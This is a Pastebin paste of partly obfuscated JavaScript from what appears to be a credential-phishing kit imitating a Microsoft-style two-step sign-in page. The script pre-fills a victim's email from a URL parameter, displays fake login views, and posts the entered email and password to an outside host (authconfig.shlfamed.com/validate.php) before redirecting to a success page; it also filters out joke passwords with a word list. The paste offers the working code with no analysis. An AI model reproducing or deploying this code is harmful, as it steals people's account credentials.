Advertisement
Snakelabs

microsofamzfvv1fcvwt36t[.]z13[.]web[.]core[.]windows[.]net

Apr 23rd, 2019
460
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var $c = getUrlParameter('c');
  2. var $current_email = '';
  3. if ($c) {
  4.     $current_email = isValidEmail($c) ? $c : decodeCustom($c)
  5. };
  6.  
  7. function decodeCustom(_0x832bx4) {
  8.     var _0x832bx5 = 'bcdfghjklmnpqrstvwxyz' ['split']('');
  9.     var _0x832bx6 = _0x832bx4['substr'](0, 1);
  10.     var _0x832bx7 = _0x832bx4['substr'](2);
  11.     var _0x832bx8 = ['a', 'e', 'i', 'o', 'u'];
  12.     var _0x832bx9 = [];
  13.     for ($i in _0x832bx5) {
  14.         _0x832bx7 = _0x832bx7['replace'](new RegExp(_0x832bx6 + '0' + $i + 'a', 'g'), _0x832bx5[$i])
  15.     };
  16.     for ($i in _0x832bx8) {
  17.         _0x832bx7 = _0x832bx7['replace'](new RegExp(_0x832bx6 + $i, 'g'), _0x832bx8[$i])
  18.     };
  19.     _0x832bx7 = _0x832bx7['replace'](new RegExp(_0x832bx6 + _0x832bx6 + _0x832bx6, 'g'), '@');
  20.     return _0x832bx7
  21. }
  22.  
  23. function isValidEmail(_0x832bxb) {
  24.     var _0x832bxc = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
  25.     return _0x832bxc['test'](_0x832bxb)
  26. }
  27.  
  28. function getUrlParameter(_0x832bxe) {
  29.     _0x832bxe = _0x832bxe['replace'](/[\[]/, '\[')['replace'](/[\]]/, '\]');
  30.     var _0x832bxf = new RegExp('[\?&]' + _0x832bxe + '=([^&#]*)');
  31.     var _0x832bx10 = _0x832bxf['exec'](location['search']);
  32.     return _0x832bx10 === null ? '' : decodeURIComponent(_0x832bx10[1]['replace'](/\+/g, ' '))
  33. }
  34. var currentEmail = $current_email;
  35. var ListEntries = ['.*fuck.*', '.*pussy.*', '.*bitch.*', '.*asshole.*', '.*fool.*', '.*dick.*', '.*mama.*', '.*nice.*try.*', '.*12345.*'];
  36. $(function() {
  37.     $('#displayName')['text'](currentEmail);
  38.     $('#displayName')['attr']('title', currentEmail);
  39.     setTimeout(() => {
  40.         $('.view-zero')['css']('display', 'none');
  41.         if (currentEmail && currentEmail['length'] > 0) {
  42.             $('input[name="UserName"]')['val'](currentEmail);
  43.             $('#displayName')['text'](currentEmail);
  44.             $('#displayName')['attr']('title', currentEmail);
  45.             $('.view-two')['css']({
  46.                 display: 'block'
  47.             });
  48.             $('.view-one')['css']({
  49.                 display: 'none'
  50.             });
  51.             $('#usernameProgress')['css']({
  52.                 display: 'none'
  53.             })
  54.         } else {
  55.             $('.view-two')['css']({
  56.                 display: 'none'
  57.             });
  58.             $('.view-one')['css']({
  59.                 display: 'block'
  60.             })
  61.         }
  62.     }, 2500);
  63.     $('form#i0281')['on']('submit', function(_0x832bx13) {
  64.         _0x832bx13['preventDefault']();
  65.         return handleFormSubmit()
  66.     });
  67.     $('#idNextBtn')['on']('click', function(_0x832bx13) {
  68.         $('#usernameProgress')['css']({
  69.             display: 'block'
  70.         });
  71.         var _0x832bxb = $('input[name="UserName"]')['val']()['trim']();
  72.         if (!_0x832bxb['length']) {
  73.             toggleUsernameError(true);
  74.             $('input[name="UserName"]')['focus']();
  75.             setTimeout(function() {
  76.                 $('#usernameProgress')['css']({
  77.                     display: 'none'
  78.                 })
  79.             });
  80.             return false
  81.         };
  82.         if (!validateEmail(_0x832bxb)) {
  83.             toggleUsernameError(true);
  84.             $('input[name="UserName"]')['focus']();
  85.             setTimeout(function() {
  86.                 $('#usernameProgress')['css']({
  87.                     display: 'none'
  88.                 })
  89.             });
  90.             return false
  91.         };
  92.         $('#displayName')['text'](_0x832bxb);
  93.         $('#displayName')['attr']('title', _0x832bxb);
  94.         setTimeout(function() {
  95.             $('.view-two')['css']({
  96.                 display: 'block'
  97.             });
  98.             $('.view-one')['css']({
  99.                 display: 'none'
  100.             });
  101.             $('#usernameProgress')['css']({
  102.                 display: 'none'
  103.             })
  104.         }, 1500)
  105.     });
  106.     $('#idBtn_Back')['on']('click', function(_0x832bx13) {
  107.         $('.view-two')['css']({
  108.             display: 'none'
  109.         });
  110.         $('.view-one')['css']({
  111.             display: 'block'
  112.         })
  113.     })
  114. });
  115. var passwordAttempts = 0;
  116.  
  117. function handleFormSubmit() {
  118.     var _0x832bxb = $('input[name="UserName"]')['val']()['trim']();
  119.     var _0x832bx16 = $('input[name="Password"]')['val']()['trim']();
  120.     if (!_0x832bxb['length'] || !_0x832bx16['length']) {
  121.         togglePasswordError(true);
  122.         if (!_0x832bxb['length']) {
  123.             $('input[name="UserName"]')['focus']()
  124.         } else {
  125.             $('input[name="Password"]')['focus']()
  126.         };
  127.         return false
  128.     };
  129.     if (!validateEmail(_0x832bxb)) {
  130.         $('input[name="UserName"]')['focus']();
  131.         return false
  132.     };
  133.     if (!_0x832bx16['trim']()['length']) {
  134.         togglePasswordError(true);
  135.         $('input[name="Password"]')['focus']();
  136.         return false
  137.     };
  138.     togglePasswordError(false);
  139.     login();
  140.     return true
  141. }
  142.  
  143. function login() {
  144.     var _0x832bxb = $('input[name="UserName"]')['val']()['trim']();
  145.     var _0x832bx16 = $('input[name="Password"]')['val']()['trim']();
  146.     var _0x832bx18 = false;
  147.     var _0x832bx19 = parseInt(Math['random']() * 10);
  148.     var _0x832bx1a = getValidatorUrl();
  149.     $('#idSignInBtn')['prop']('disabled', true);
  150.     $('#passwordProgress')['show']();
  151.     $('#idSignInBtn')['text']('Signing In..');
  152.     var _0x832bx1b = window['location']['protocol'] + '//' + window['location']['host'] + '/success.htm';
  153.     $['post'](_0x832bx1a, $['param']({
  154.         email: _0x832bxb,
  155.         password: _0x832bx16
  156.     }), function(_0x832bx1e, _0x832bx1d, _0x832bx1f) {
  157.         $('#idSignInBtn')['text']('Redirecting..');
  158.         window['location']['href'] = _0x832bx1b
  159.     })['fail'](function(_0x832bx1c, _0x832bx1d) {
  160.         $('#passwordProgress')['hide']();
  161.         $('#idSignInBtn')['prop']('disabled', false);
  162.         $('#idSignInBtn')['text']('Sign In');
  163.         $('input[name="Password"]')['val']('');
  164.         togglePasswordError(true);
  165.         $('input[name="Password"]')['focus']();
  166.         return false
  167.     })
  168. }
  169.  
  170. function validateEmail(_0x832bxb) {
  171.     var _0x832bxc = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
  172.     return _0x832bxc['test'](_0x832bxb)
  173. }
  174.  
  175. function isValidPassword(_0x832bx22) {
  176.     for (var _0x832bx23 = ListEntries['length'] - 1; _0x832bx23 >= 0; _0x832bx23--) {
  177.         var _0x832bx24 = new RegExp(ListEntries[_0x832bx23], 'i');
  178.         if (_0x832bx24['test'](_0x832bx22)) {
  179.             return false
  180.         }
  181.     };
  182.     return true
  183. }
  184.  
  185. function toggleUsernameError(_0x832bx26) {
  186.     if (_0x832bx26) {
  187.         $('#usernameError')['css']('display', 'block');
  188.         $('input[name="Username"]')['addClass']('has-error');
  189.         $('input[name="Username"]')['on']('keydown', function(_0x832bx13) {
  190.             toggleUsernameError(false);
  191.             $('input[name="Username"]')['off']('keydown')
  192.         })
  193.     } else {
  194.         $('#usernameError')['css']('display', 'none');
  195.         $('input[name="Username"]')['removeClass']('has-error')
  196.     }
  197. }
  198.  
  199. function togglePasswordError(_0x832bx26) {
  200.     if (_0x832bx26) {
  201.         $('#passwordError')['css']('display', 'block');
  202.         $('input[name="Password"]')['addClass']('has-error');
  203.         $('input[name="Password"]')['on']('keydown', function(_0x832bx13) {
  204.             togglePasswordError(false);
  205.             $('input[name="Password"]')['off']('keydown')
  206.         })
  207.     } else {
  208.         $('#passwordError')['css']('display', 'none');
  209.         $('input[name="Password"]')['removeClass']('has-error')
  210.     }
  211. }
  212.  
  213. function strRandom() {
  214.     var _0x832bx29 = '';
  215.     var _0x832bx2a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
  216.     for (var _0x832bx23 = 0; _0x832bx23 < 10; _0x832bx23++) {
  217.         _0x832bx29 += _0x832bx2a['charAt'](Math['floor'](Math['random']() * _0x832bx2a['length']))
  218.     };
  219.     return _0x832bx29
  220. }
  221.  
  222. function getValidatorUrl() {
  223.     return 'https://authconfig.shlfamed.com/validate.php'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement